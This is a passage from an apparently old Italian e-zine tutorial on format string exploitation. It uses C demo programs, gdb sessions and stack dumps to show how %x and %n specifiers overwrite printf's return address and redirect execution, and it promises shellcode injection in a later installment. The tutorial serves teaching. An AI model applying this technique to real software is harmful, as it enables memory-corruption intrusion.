(buffer, 4096); | | | | buffer[3] = 0xbf; | | buffer[2] = 0xff; | | buffer[1] = 0xea; | | buffer[0] = 0x3c; | | for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); | | | | strcat (buffer,"%n\n"); | | | | printf (buffer); | | } | | # | | | | qui utilizziamo la conoscenza dell'indirizzo nel quale e' memorizzato | | l'indirizzo di ritorno della funzione printf per sovrascriverlo con un | | valore differente. | | Per fare questo utilizziamo la possibilita' di raggiungere il nostro | | buffer (il ciclo for che inserisce un certo numero di %x serve proprio a | | questo) ed a quel punto utilizziamo i primi byte del buffer stesso come | | un indirizzo (che avremo sapientemente valorizzato in precedenza) in cui | | scrivere il numero di caratteri fino a quel momento stampati dalla | | printf. | | | | # gcc -g -o prova4 prova4.c | | # gdb prova4 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and you | | are | | welcome to change it and/or distribute copies of it under certain | | conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for | | details. | | This GDB was configured as "i386-redhat-linux"... | | (gdb) b printf | | Breakpoint 1 at 0x80483ac | | (gdb) r | | Starting program: /Ondaquadra/prova4 | | Breakpoint 1 at 0x40080d76: file printf.c, line 30. | | | | Breakpoint 1, printf (format=0xbfffea60 | | "<êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%n\n") | | at printf.c:30 | | 30 printf.c: File o directory inesistente. | | | | | | ok, ci siamo. una rapida occhiata allo stack... | | | | | | (gdb) x/20 $sp | | 0xbfffea2c: 0x080485c8 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x0804855a 0xbfffea60 0x080485c8 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x00000008 0xbfffea3c 0x250a7825 0x78250a78 | | 0xbfffea6c: 0x0a78250a 0x250a7825 0x78250a78 0x0a6e250a | | | | che mette in evidenza come all'indirizzo 0xbfffea3c vi sia l'indirizzo | | di ritorno della printf e che il valore 0xbfffea3c e' contenuto nei | | primi quattro byte del nostro buffer, pronti per essere utilizzati come | | puntatore... ;) | | | | ...e allora vediamolo in azione, questo puntatore... | | | | (gdb) n | | 31 in printf.c | | (gdb) n | | <êÿ¿80485c8 | | 7e3 | | 6c4 | | 1e7 | | 7f5 | | 6ea | | 8 | | | | 35 in printf.c | | | | | | | | ecco eseguita la printf. i primi caratteri "strani" non devono | | spaventare; | | essi sono infatti la visualizzazione del valore 0xbfffea3c contenuto | | all'inizio del buffer. Sono caratteri un po' bizzarri, ma sono | | totalmente | | inoffensivi :) | | | | | | | | (gdb) x/20 $sp | | 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea64 0x080485c8 | | 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x00000022 | | 0xbfffea40: 0xbfffea60 0x080485c8 0x000007e3 0x000006c4 | | 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 | | 0xbfffea60: 0xbfffea3c 0x250a7825 0x78250a78 0x0a78250a | | | | ECCOLO!!! all'indirizzo 0xbfffea3c questa volta e' presente il valore | | 0x22, che rappresenta il numero di caratteri stampati finora... ma e' | | anche diventato il nuovo indirizzo di ritorno della printf... con i | | risultati che ben possiamo immaginare... | | | | (gdb) n | | 34 in printf.c | | (gdb) n | | 35 in printf.c | | (gdb) n | | | | Program received signal SIGSEGV, Segmentation fault. | | 0x22 in ?? () | | | | | | ecco, appunto... :) non e' che si puo' saltare impunemente all'indirizzo | | 0x22 nella esecuzione di un programma... e che cavolo! | | | | | | | | (gdb) q | | The program is running. Exit anyway? (y or n) y | | # | | | | | | | | 4.2. Scrittura di valori specifici | | | | | | Bene, siamo quindi riusciti a scrivere ad un indirizzo che definirei | | davvero "interessante", no? Adesso si tratterebbe di sfruttare questa | | capacita' per scrivere dei valori diciamo a noi "utili"... ad esempio un | | indirizzo a cui corrisponda un codice eseguibile (il 0x22 del punto | | precedente non e', sotto questo aspetto, un valore adeguato...). | | Pero'... pero'... non e' cosi' facile; | | il problema e' rappresentato dal fatto che la printf scrive il numero di | | caratteri stampati all'interno di una variabile di tipo "longword", | | ossia di dimensione uguale a quattro byte. Se guardiamo il contenuto | | dello stack, infatti, ci rendiamo subito conto che il numero 0x22 nella | | realta' e' stato scritto su quattro byte, diventando di fatto | | 0x00000022. Se volessimo scrivere, utilizzando questo metodo, un valore | | "sensato" dovremmo scrivere un numero come, ad esempio, 0x0804855a, | | ossia 134514010, piu' di centotrenta milioni!!! Per fare cio' dovremmo | | formattare opportunamente i "%x" del buffer, magari facendoli precedere | | da un numero; infatti in "C" esiste la possibilita' di specificare la | | lunghezza, in caratteri, che la stampa del valore deve avere (ad esempio | | una formattazione tipo "%10x" scrivera' il valore in esadecimale | | garantendo la stampa di 10 caratteri, eventualmente riempiendo con spazi | | i caratteri in eccesso). Il problema e' che non e' che si puo' | | specificare di stampare un numero cosi' grande di caratteri in un | | formattatore (insorgerebbero, tra l'altro, problemi di overflow). Come | | fare, allora? | | | | Qui ci viene in aiuto la particolare architettura del processore (Intel | | o AMD, e' lo stesso); infatti, i quattro byte del valore di tipo | | "longword" vengono scritti a partire dal meno significativo fino al piu' | | significativo. A titolo di esempio, la scrittura del valore 0x12345678 | | all'indirizzo 0x1000 si tradurra' nella seguente memorizzazione: | | | | Indirizzo Valore | | 0x1000 0x78 | | 0x1001 0x56 | | 0x1002 0x34 | | 0x1003 0x12 | | | | In termini tecnici si dice che l'architettura e' di tipo "Little | | Endian", ossia che il byte di ordine "basso" viene scritto all'indirizzo | | piu' "basso" (la parte meno significativa, o "piccola", viene scritta | | prima) | | | | Per ottenere questo risultato, pero', non c'e' soltanto l'operazione "di | | base" (ossia la scrittura della longword) ma e' anche possibile | | suddividere detta scrittura in tante scritture piu' "piccole". In altre | | parole, potremmo effettuare quattro scritture, ognuna di un singolo | | byte, | | ad indirizzi crescenti, scrivendo: | | | | - all'indirizzo 0x1003 il valore 0x12 | | - all'indirizzo 0x1002 il valore 0x34 | | - all'indirizzo 0x1001 il valore 0x56 | | - all'indirizzo 0x1000 il valore 0x78 | | | | ottenendo in tal modo lo stesso risultato. | | | | Purtroppo, pero', se cercassimo di applicare questa metodologia, poiche' | | il valore scritto sarebbe sempre e comunque quello di una longword, | | otterremmo quanto segue: | | | | | | - la prima scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1003 0x12 | | 0x1004 0x00 | | 0x1005 0x00 | | 0x1006 0x00 | | | | | | - la seconda scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1002 0x34 | | 0x1003 0x00 | | 0x1004 0x00 | | 0x1005 0x00 | | | | Ahi, ahi... abbiamo sovrascritto il valore all'indirizzo 0x1003 con uno | | zero! | | | | Pero'... pero'... non c'e' solo quel modo per scrivere la longword... | | c'e' anche il modo inverso, ossia scrivere: | | | | - all'indirizzo 0x1000 il valore 0x78 | | - all'indirizzo 0x1001 il valore 0x56 | | - all'indirizzo 0x1002 il valore 0x34 | | - all'indirizzo 0x1003 il valore 0x12 | | | | Questo metodo effettivamente ha successo, poiche', nel dettaglio: | | | | - la prima scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1000 0x78 | | 0x1001 0x00 | | 0x1002 0x00 | | 0x1003 0x00 | | | | | | - la seconda scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1001 0x56 | | 0x1002 0x00 | | 0x1003 0x00 | | 0x1004 0x00 | | | | - la terza scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1002 0x34 | | 0x1003 0x00 | | 0x1004 0x00 | | 0x1005 0x00 | | | | - la quarta ed ultima scrittura scrive i seguenti valori | | | | Indirizzo Valore | | 0x1003 0x12 | | 0x1004 0x00 | | 0x1005 0x00 | | 0x1006 0x00 | | | | | | Il risultato finale sara' quello di avere il valore 0x12345678 | | correttamente scritto all'indirizzo 0x1000, con i tre byte agli | | indirizzi 0x1004, 0x1005 e 0x1006 azzerati dalle operazioni di | | scrittura... poco male, quello che volevamo (ossia scrivere unalongword | | all'indirizzo 0x1000) e' stato ottenuto. | | | | | | Dal punto di vista pratico, quindi, estendendo la tecnica vista in | | precedenza, ipotizzando di volere scrivere un certo valore, sara' | | sufficiente: | | | | - inserire all'inizio del buffer gli indirizzi che vogliamo scrivere, | | replicandoli in maniera opportuna | | | | - inserire in maniera adeguata i vari formattatori, allo scopo di | | ottenere un numero di caratteri in output tale da raggiungere il | | valore del byte che vogliamo andare a scrivere | | | | - tenere in considerazione il fatto che sara' necessario prevedere | | nel buffer anche dei valori di "riempimento" per soddisfare i | | formattatori che abbiamo inserito | | | | La sessione pratica che segue chiarira' questi concetti molto meglio di | | qualsiasi presentazione teorica. | | | | | | | | 4.2.1. Caso pratico: saltare una istruzione | | | | | | Allora, eccoci qui pronti a mettere in pratica la teoria finora | | analizzata; cominciamo pure commentando questo semplice programmino | | | | # cat prova5.c | | | | main () | | { | | char buffer [4096]; | | int i; | | | | bzero (buffer, 4096); | | | | for (i = 0; i < 4; i++) { | | buffer[7+i*8] = 0xbf; | | buffer[6+i*8] = 0xff; | | buffer[5+i*8] = 0xea; | | buffer[4+i*8] = 0x3c + i; | | buffer[3+i*8] = 0xbf; | | buffer[2+i*8] = 0xff; | | buffer[1+i*8] = 0xea; | | buffer[0+i*8] = 0x3c + i; | | } | | for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); | | | | strcat (buffer,"%8x%n"); | | strcat (buffer,"%8x%n"); | | strcat (buffer,"%8x%n"); | | strcat (buffer,"%8x%n"); | | strcat (buffer,"\n"); | | | | printf (buffer); | | } | | # | | | | | | Ordunque, il primo ciclo "for" ha il compito di mettere nelle prime otto | | longword del buffer quattro coppie di valori; questi valori, guarda | | caso, risultano essere gli indirizzi dei quattro byte che contengono | | l'indirizzo di ritorno della funzione printf (l'esecuzione in debug del | | programma lo mettera' in evidenza in modo chiaro). | | In sostanza, il buffer conterra', nelle prime longword, i seguenti | | valori: | | | | | | 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d | | | | 0xbfffea3e 0xbfffea3e 0xbfffea3f 0xbfffea3f | | | | Bene, ma perche' DUE volte? Beh, per un motivo molto semplice: | | ammettendo che si voglia scrivere un valore ben preciso all'indirizzo | | 0xbfffea3c utilizzando il formattatore "%n" visto in precedenza, e' | | davvero molto difficile che il numero di caratteri fino a quel momento | | emesso in output sia ESATTAMENTE il valore che desidero scrivere. | | E' molto piu' facile che io debba aggiungere un certo numero di | | caratteri in output per raggiungere il valore desiderato. A titolo di | | esempio, se il numero di caratteri che ho scritto fino ad ora e', | | supponiamo, 45 ed il desidero scrivere il numero 74 dovro' emettere in | | output ancora 29 caratteri; la cosa piu' semplice da fare e' | | quella di scrivere un valore intero usando un formattatore del tipo | | "%29x", che mi garantisce che verranno emessi 29 caratteri. | | Ovviamente, pero', il valore da usare per soddisfare il formattatore | | "%29x" deve essere presente sullo stack ed ecco spiegato il perche' | | del valore raddoppiato: il primo servira' a soddisfare il formattatore | | "%29x" avendo come effetto quello di mettere altri 29 caratteri in | | output, mentre finalmente il secondo verra' utilizzato dal formattatore | | "%n" per scrivere il valore 74 all'indirizzo 0xbfffea3c. | | Nella realta' il primo dei due valori avrebbe anche potuto essere | | differente da 0xbfffea3c; sarebbe andato bene qualsiasi valore che, | | visto byte per byte, non contenesse valori "non ammessi", quali ad | | esempio '\0' oppure '%', poiche' il primo avrebbe terminato la stringa | | (ricordiamoci che stiamo usando un buffer di caratteri da scrivere, | | quindi un byte a zero viene considerato come fine della stringa), mentre | | il secondo avrebbe introdotto una formattazione dipendente dal carattere | | seguente, "sballando" inesorabilmente i nostri piani... | | | | Bene, proseguiamo: il secondo "for" e' il solito ciclo che serve per | | "navigare" lungo lo stack fino ad incontrare il nostro buffer... | | niente di nuovo, quindi :) | | | | le quattro chiamate strcat hanno il compito di introdurre i nostri | | famosi formattatori che gestiscano i valori che abbiamo con tanta cura | | messo all'inizio del buffer. | | Possiamo notare il formattatore "%8x" che scrive il primo valore della | | coppia, mentre il secondo formattatore "n" usa il secondo valore della | | coppia come puntatore. In questo esempio il formattatore "%8x" e' stato | | scelto a caso per rendere l'idea del funzionamento, ma nell'esempio | | successivo vedremo come usare "meglio" questi formattatori... ;) | | | | | | | | Been, arrivati fino qui possiamo dare inizio alle danze: | | | | # gcc -g -o prova5 prova5.c | | # gdb prova5 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and | | you are welcome to change it and/or distribute copies of it under | | certain conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for | | details. | | This GDB was configured as "i386-redhat-linux"... | | (gdb) b printf | | Breakpoint 1 at 0x80483ac | | (gdb) r | | Starting program: /root/Ondaquadra/prova5 | | Breakpoint 1 at 0x40080d76: file printf.c, line 30. | | | | Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿? | | êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%8x%n%8x%n%8x%n%8x%n\n") at printf.c:30 | | 30 printf.c: File o directory inesistente. | | | | | | | | anche qui, non ci spaventiamo dai caratteri "strani" presenti | | all'inizio del buffer; essi sono proprio la rappresentazione ASCII dei | | valori che abbiamo messo apposta. | | | | | | (gdb) x/30 $sp | | 0xbfffea2c: 0x0804871f 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x080486a6 0xbfffea60 0x0804871e 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x00000008 0xbfffea3c 0xbfffea3c 0xbfffea3d | | 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f | | 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a | | 0xbfffea8c: 0x250a7825 0x78250a78 0x7838250a 0x38256e25 | | 0xbfffea9c: 0x256e2578 0x6e257838 | | | | | | | | Ecco il contenuto dello stack. All'indirizzo 0xbfffea3c c'e' | | l'indirizzo di ritorno a cui saltare al termine della printf. | | Tale valore (0x080486a6) e' quello dell'istruzione del main | | immediatamente successiva alla "call printf". | | Proseguendo... | | | | (gdb) n | | 31 in printf.c | | (gdb) n | | <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿804871e | | 7e3 | | 6c4 | | 1e7 | | 7f5 | | 6ea | | 8 | | bfffea3cbfffea3dbfffea3ebfffea3f | | 35 in printf.c | | | | | | Notate come siano stati scritti i valori 0xbfffea3c, 0xbfffea3d, | | 0xbfffes3e e 0xbfffez3f? Bene, il fatto che siano stati scritti implica | | che sono stati soddisfatti i formattatori "%8x", quindi effettivamente | | la funzione printf deve avere anche soddisfatto i formattatori "%n"... | | vediamo se e' cosi' | | | | | | | | (gdb) x/20 $sp | | 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x0804871f | | 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x5e564e46 | | 0xbfffea40: 0xbf000000 0x0804871e 0x000007e3 0x000006c4 | | 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 | | 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d | | | | | | | | Eccolo li'!!! All'indirizzo 0xbfffea3c NON C'E' piu' il valore | | 0x080486a6 che indicava l'istruzione immediatamente successiva alla | | chiamata della printf; al suo posto c'e' il valore 0x5e564e46 che e' il | | risultato delle quattro scritture causate dai formattatori "%n". Da | | notare, infatti, anche i tre byte messi a zero nella longword successiva | | (quella all'indirizzo 0xbfffea40). | | | | Anche qui, pertanto, il volere far proseguire l'esecuzione del programma | | in queste condizioni, generera' un salto all'indirizzo 0x5e564e46 che e' | | con tutta probabilita' un indirizzo non valido poiche' non appartenente | | allo spazio di indirizzamento del task stesso. Verifichiamolo: | | | | | | (gdb) c | | Continuing. | | | | Program received signal SIGSEGV, Segmentation fault. | | 0x5e564e46 in ?? () | | | | ...come volevasi dimostrare :) | | | | | | (gdb) q | | The program is running. Exit anyway? (y or n) y | | # | | | | | | Ma allora a questo punto a noi bastera' solamente sostituire i | | formattatori "%8x" con dei formattatori che specifichino una lunghezza | | adeguate per ottenere come risultato quello di scrivere nella longword | | il valore che vogliamo. | | | | | | | | Anche qui, a titolo di esempio, analizziamo il seguente programma | | | | | | # cat prova6.c | | | | main () | | { | | char buffer [4096]; | | int i; | | | | bzero (buffer, 4096); | | | | for (i = 0; i < 4; i++) { | | buffer[7+i*8] = 0xbf; | | buffer[6+i*8] = 0xff; | | buffer[5+i*8] = 0xea; | | buffer[4+i*8] = 0x3c + i; | | buffer[3+i*8] = 0xbf; | | buffer[2+i*8] = 0xff; | | buffer[1+i*8] = 0xea; | | buffer[0+i*8] = 0x3c + i; | | } | | for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); | | | | strcat (buffer,"%153x%n"); | | strcat (buffer,"%175x%n"); | | strcat (buffer,"%126x%n"); | | strcat (buffer,"%260x%n"); | | strcat (buffer,"\n"); | | | | i = 0; | | | | printf (buffer); | | | | i = 1; | | | | printf ("seconda parte; eccoci qui\n"); | | | | printf ("terza parte; i vale %d\n", i); | | | | exit (0x123); | | } | | # | | | | Sostanzialmente, nulla di nuovo. Le uniche due differenze sono: | | | | - valori diversi nei formattatori di scrittura | | | | - la presenza di alcune istruzioni in piu', messe li' solamente per | | dimostrare la correttezza delle operazioni | | | | | | Ordunque, se non conoscessimo l'enorme potenza di questi programmino | | saremmo portati a pensare che, una volta in esecuzione, venissero | | stampati, nell'ordine: | | | | | | - il contenuto del buffer | | - la stringa "seconda parte; eccoci qui" | | - la stringa "terza parte; i vale 1" | | | | | | Ma poiche' noi sappiamo oramai bene come funzioni questo giochetto, | | analizziamo un po' piu' a fondo il VERO comportamento del programma | | | | # gcc -g -o prova6 prova6.c | | # | | # gdb prova6 | | GNU gdb 5.0 | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and | | you are welcome to change it and/or distribute copies of it under | | certain conditions. | | Type "show copying" to see the conditions. | | There is absolutely no warranty for GDB. Type "show warranty" for | | details. | | This GDB was configured as "i386-redhat-linux"... | | (gdb) b printf | | Breakpoint 1 at 0x80483d0 | | (gdb) r | | Starting program: /root/Ondaquadra/prova6 | | Breakpoint 1 at 0x40080d76: file printf.c, line 30. | | | | Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ | | ¿?êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%153x%n%175x%n%126x%n%260x%n\n") at | | printf.c:30 | | 30 printf.c: File o directory inesistente. | | (gdb) x/30 $sp | | 0xbfffea2c: 0x080487b8 0x40080d64 0x40143824 0xbffffa68 | | 0xbfffea3c: 0x080486bd 0xbfffea60 0x080487b8 0x000007e3 | | 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea | | 0xbfffea5c: 0x00000000 0xbfffea3c 0xbfffea3c 0xbfffea3d | | 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f | | 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a | | 0xbfffea8c: 0x250a7825 0x78250a78 0x3531250a 0x6e257833 | | 0xbfffea9c: 0x35373125 0x256e2578 | | | | | | ok. fino qui nulla di nuovo. al solito indirizzo 0xbfffea3c c'e' | | l'indirizzo di ritorno, che in questo caso e' 0x080486bd. | | Vediamo adesso anche il listato disassemblato del programma, | | focalizzando la nostra attenzione nell'intorno delle tre chiamate alla | | printf (cioe' dall'indirizzo 0x080486bd in avanti): | | | | | | (gdb) disass main | | Dump of assembler code for function main: | | 0x80484ec
: push %ebp | | 0x80484ed : mov %esp,%ebp | | 0x80484ef : sub $0x1018,%esp | | 0x80484f5 : sub $0x8,%esp | | 0x80484f8 : push $0x1000 | | 0x80484fd : lea 0xffffeff8(%ebp),%eax | | 0x8048503 : push %eax | | 0x8048504 : call 0x80483f0 | | 0x8048509 : add $0x10,%esp | | 0x804850c : movl $0x0,0xffffeff4(%ebp) | | 0x8048516 : mov %esi,%esi | | 0x8048518 : cmpl $0x3,0xffffeff4(%ebp) | | 0x804851f : jle 0x8048528 | | 0x8048521 : jmp 0x8048618 | | 0x8048526 : mov %esi,%esi | | 0x8048528 : mov 0xffffeff4(%ebp),%eax | | 0x804852e : mov %eax,%eax | | 0x8048530 : shl $0x3,%eax | | 0x8048533 : lea 0x7(%eax),%edx | | 0x8048536 : lea 0xffffeff8(%ebp),%eax | | 0x804853c : mov %eax,%eax | | 0x804853e : movb $0xbf,(%edx,%eax,1) | | 0x8048542 : mov 0xffffeff4(%ebp),%eax | | 0x8048548 : mov %eax,%eax | | 0x804854a : shl $0x3,%eax | | 0x804854d : lea 0x6(%eax),%edx | | 0x8048550 : lea 0xffffeff8(%ebp),%eax | | 0x8048556 : mov %eax,%eax | | 0x8048558 : movb $0xff,(%edx,%eax,1) | | 0x804855c : mov 0xffffeff4(%ebp),%eax | | 0x8048562 : mov %eax,%eax | | 0x8048564 : shl $0x3,%eax | | 0x8048567 : lea 0x5(%eax),%edx | | 0x804856a : lea 0xffffeff8(%ebp),%eax | | 0x8048570 : mov %eax,%eax | | 0x8048572 : movb $0xea,(%edx,%eax,1) | | 0x8048576 : mov 0xffffeff4(%ebp),%eax | | 0x804857c : mov %eax,%eax | | 0x804857e : shl $0x3,%eax | | 0x8048581 : lea 0x4(%eax),%ecx | | 0x8048584 : lea 0xffffeff8(%ebp),%eax | | 0x804858a : mov %eax,%edx | | 0x804858c : mov 0xffffeff4(%ebp),%al | | 0x8048592 : add $0x3c,%eax | | 0x8048595 : mov %al,(%ecx,%edx,1) | | 0x8048598 : mov 0xffffeff4(%ebp),%eax | | 0x804859e : mov %eax,%eax | | 0x80485a0 : shl $0x3,%eax | | 0x80485a3 : lea 0x3(%eax),%edx | | 0x80485a6 : lea 0xffffeff8(%ebp),%eax | | 0x80485ac : mov %eax,%eax | | 0x80485ae : movb $0xbf,(%edx,%eax,1) | | 0x80485b2 : mov 0xffffeff4(%ebp),%eax | | 0x80485b8 : mov %eax,%eax | | 0x80485ba : shl $0x3,%eax | | 0x80485bd : lea 0x2(%eax),%edx | | 0x80485c0 : lea 0xffffeff8(%ebp),%eax | | 0x80485c6 : mov %eax,%eax | | 0x80485c8 : movb $0xff,(%edx,%eax,1) | | 0x80485cc : mov 0xffffeff4(%ebp),%eax | | 0x80485d2 : mov %eax,%eax | | 0x80485d4 : shl $0x3,%eax | | 0x80485d7 : lea 0x1(%eax),%edx | | 0x80485da : lea 0xffffeff8(%ebp),%eax | | 0x80485e0 : mov %eax,%eax | | 0x80485e2 : movb $0xea,(%edx,%eax,1) | | 0x80485e6 : mov 0xffffeff4(%ebp),%eax | | 0x80485ec : mov %eax,%eax | | 0x80485ee : lea 0x0(,%eax,8),%ecx | | 0x80485f5 : lea 0xffffeff8(%ebp),%eax | | 0x80485fb : mov %eax,%edx | | 0x80485fd : mov 0xffffeff4(%ebp),%al | | 0x8048603 : add $0x3c,%eax | | 0x8048606 : mov %al,(%ecx,%edx,1) | | 0x8048609 : lea 0xffffeff4(%ebp),%eax | | 0x804860f : incl (%eax) | | 0x8048611 : jmp 0x8048518 | | 0x8048616 : mov %esi,%esi | | 0x8048618 : movl $0x1,0xffffeff4(%ebp) | | 0x8048622 : mov %esi,%esi | | 0x8048624 : cmpl $0x7,0xffffeff4(%ebp) | | 0x804862b : jle 0x8048700 | | 0x8048631 : sub $0x8,%esp | | 0x8048634 : push $0x8048798 | | 0x8048639 : lea 0xffffeff8(%ebp),%eax | | 0x804863f : push %eax | | 0x8048640 : call 0x80483c0 | | 0x8048645 : add $0x10,%esp | | 0x8048648 : sub $0x8,%esp | | 0x804864b : push $0x80487a0 | | 0x8048650 : lea 0xffffeff8(%ebp),%eax | | 0x8048656 : push %eax | | 0x8048657 : call 0x80483c0 | | 0x804865c : add $0x10,%esp | | 0x804865f : sub $0x8,%esp | | 0x8048662 : push $0x80487a8 | | 0x8048667 : lea 0xffffeff8(%ebp),%eax | | 0x804866d : push %eax | | 0x804866e : call 0x80483c0 | | 0x8048673 : add $0x10,%esp | | 0x8048676 : sub $0x8,%esp | | 0x8048679 : push $0x80487b0 | | 0x804867e : lea 0xffffeff8(%ebp),%eax | | 0x8048684 : push %eax | | 0x8048685 : call 0x80483c0 | | 0x804868a : add $0x10,%esp | | 0x804868d : sub $0x8,%esp | | 0x8048690 : push $0x80487b8 | | 0x8048695 : lea 0xffffeff8(%ebp),%eax | | 0x804869b : push %eax | | 0x804869c : call 0x80483c0 | | 0x80486a1 : add $0x10,%esp | | 0x80486a4 : movl $0x0,0xffffeff4(%ebp) | | | | | | >>> ecco la chiamata alla printf, passando il nostro buffer come | | argomento | | | | 0x80486ae : sub $0xc,%esp | | 0x80486b1 : lea 0xffffeff8(%ebp),%eax | | 0x80486b7 : push %eax | | 0x80486b8 : call 0x80483d0 | | 0x80486bd : add $0x10,%esp | | | | | | >>> ecco l'istruzione i = 1; | | | | 0x80486c0 : movl $0x1,0xffffeff4(%ebp) | | | | | | >>> questa invece e' la chiamata alla seconda printf | | | | 0x80486ca : sub $0xc,%esp | | 0x80486cd : push $0x80487ba | | 0x80486d2 : call 0x80483d0 | | 0x80486d7 : add $0x10,%esp | | | | | | >>> terza chiamata alla printf, con scrittura del valore della | | variabile i | | | | 0x80486da : sub $0x8,%esp | | 0x80486dd : pushl 0xffffeff4(%ebp) | | 0x80486e3 : push $0x80487d5 | | 0x80486e8 : call 0x80483d0 | | 0x80486ed : add $0x10,%esp | | | | | | >>> chiamata alla funzione exit e termine del programma | | | | 0x80486f0 : sub $0xc,%esp | | 0x80486f3 : push $0x123 | | 0x80486f8 : call 0x8048400 | | 0x80486fd : lea 0x0(%esi),%esi | | 0x8048700 : sub $0x8,%esp | | 0x8048703 : push $0x8048794 | | 0x8048708 : lea 0xffffeff8(%ebp),%eax | | 0x804870e : push %eax | | 0x804870f : call 0x80483c0 | | 0x8048714 : add $0x10,%esp | | 0x8048717 : lea 0xffffeff4(%ebp),%eax | | 0x804871d : incl (%eax) | | 0x804871f : jmp 0x8048624 | | End of assembler dump. | | | | | | bene, adesso, lasciando a voi come semplice esercizio aritmetico il | | capire perche' sono stati effettivamente usati certi valori nei | | formattatori di output, andiamo a vedere, subito dopo l'esecuzione della | | printf, come cambia il contenuto dello stack | | | | | | (gdb) n | | 31 in printf.c | | (gdb) n | | <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 | | 7e3 | | 6c4 | | 1e7 | | 7f5 | | 6ea | | 0 | | | | bfffea3c | | | | | | bfffea3d | | bfffea3e | | | | | | | | | | bfffea3f | | 35 in printf.c | | (gdb) x/20 $sp | | 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x080487b8 | | 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x080486d7 | | 0xbfffea40: 0xbf000003 0x080487b8 0x000007e3 0x000006c4 | | 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000000 | | 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d | | | | | | ATTENZIONE!!!! L'indirizzo di ritorno e' cambiato! il nuovo indirizzo di | | ritorno e' 0x080486d7, che corrisponde (che combinazione, vero? ;) | | all'indirizzo della istruzione immediatamente successiva alla SECONDA | | chiamata della printf. In definitiva, l'effetto ottenuto sara' quello di | | ritornare ad eseguire il main a partire dalla seconda printf ESCLUSA, | | saltando quindi sia la scrittura della stringa "seconda parte; eccoci | | qui" sia anche l'istruzione i = 1; la variabile i, pertanto, manterra' | | IL SUO VALORE PRECEDENTE, CIOE' ZERO! | | | | Per verificarlo, innanzitutto cancelliamo il breakpoint alla istruzione | | printf in modo tale da permettere al task di non venire piu' interrotto | | e poi facciamolo proseguire. | | | | | | (gdb) delete 1 | | (gdb) c | | Continuing. | | terza parte; i vale 0 | | | | Program exited with code 043. | | | | | | NATURALMENTE!!! Ecco dimostrato quello che avevamo ipotizzato avrebbe | | dovuto accadere. | | | | (gdb) q | | # | | | | A questo punto possiamo a buon titolo sostenere che siamo in grado, | | modulando opportunamente i valori all'interno di un buffer da passare | | alla "innocente" | | funzione printf, di far saltare l'esecuzione di un task all'indirizzo | | che piu' | | ci fa comodo, in qualunque punto esso sia. Una simile potenzialita' puo' | | essere utilizzata non soltanto per i nostri "giochetti" ma anche per | | cose ben piu' "serie" e pericolose... | | | | Nella prossima puntata vedremo l'efficacia di questo approccio, | | inserendo del codice "malizioso" e facendolo eseguire al nostro ignaro | | "ospitante"... in modo tale da capire in modo completo il principio di | | funzionamento di buona parte dei programmi da "assalto" in | | circolazione... | | | | | | Ma prima di lasciarci ecco, per chi sia interessato, un simpatico | | quesito: | | | | abbiamo appena visto il funzionamento del programma prova6 il quale, | | lanciato in esecuzione, salta allegramente la seconda printf e nella | | terza sostiene che la variabile vale 0 (poiche' non ha nemmeno eseguito | | l'istruzione i = 1;). | | | | Tutto bene, quindi, ma... allora come si spiega questo comportamento? | | | | | | # | | # ./prova6 | | <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 | | 7e3 | | 6c4 | | 1e7 | | 7f5 | | 6ea | | 0 | | | | | | bfffea3c | | | | | | | | | | bfffea3d | | | | bfffea3e | | | | | | | | | | | | | | | | 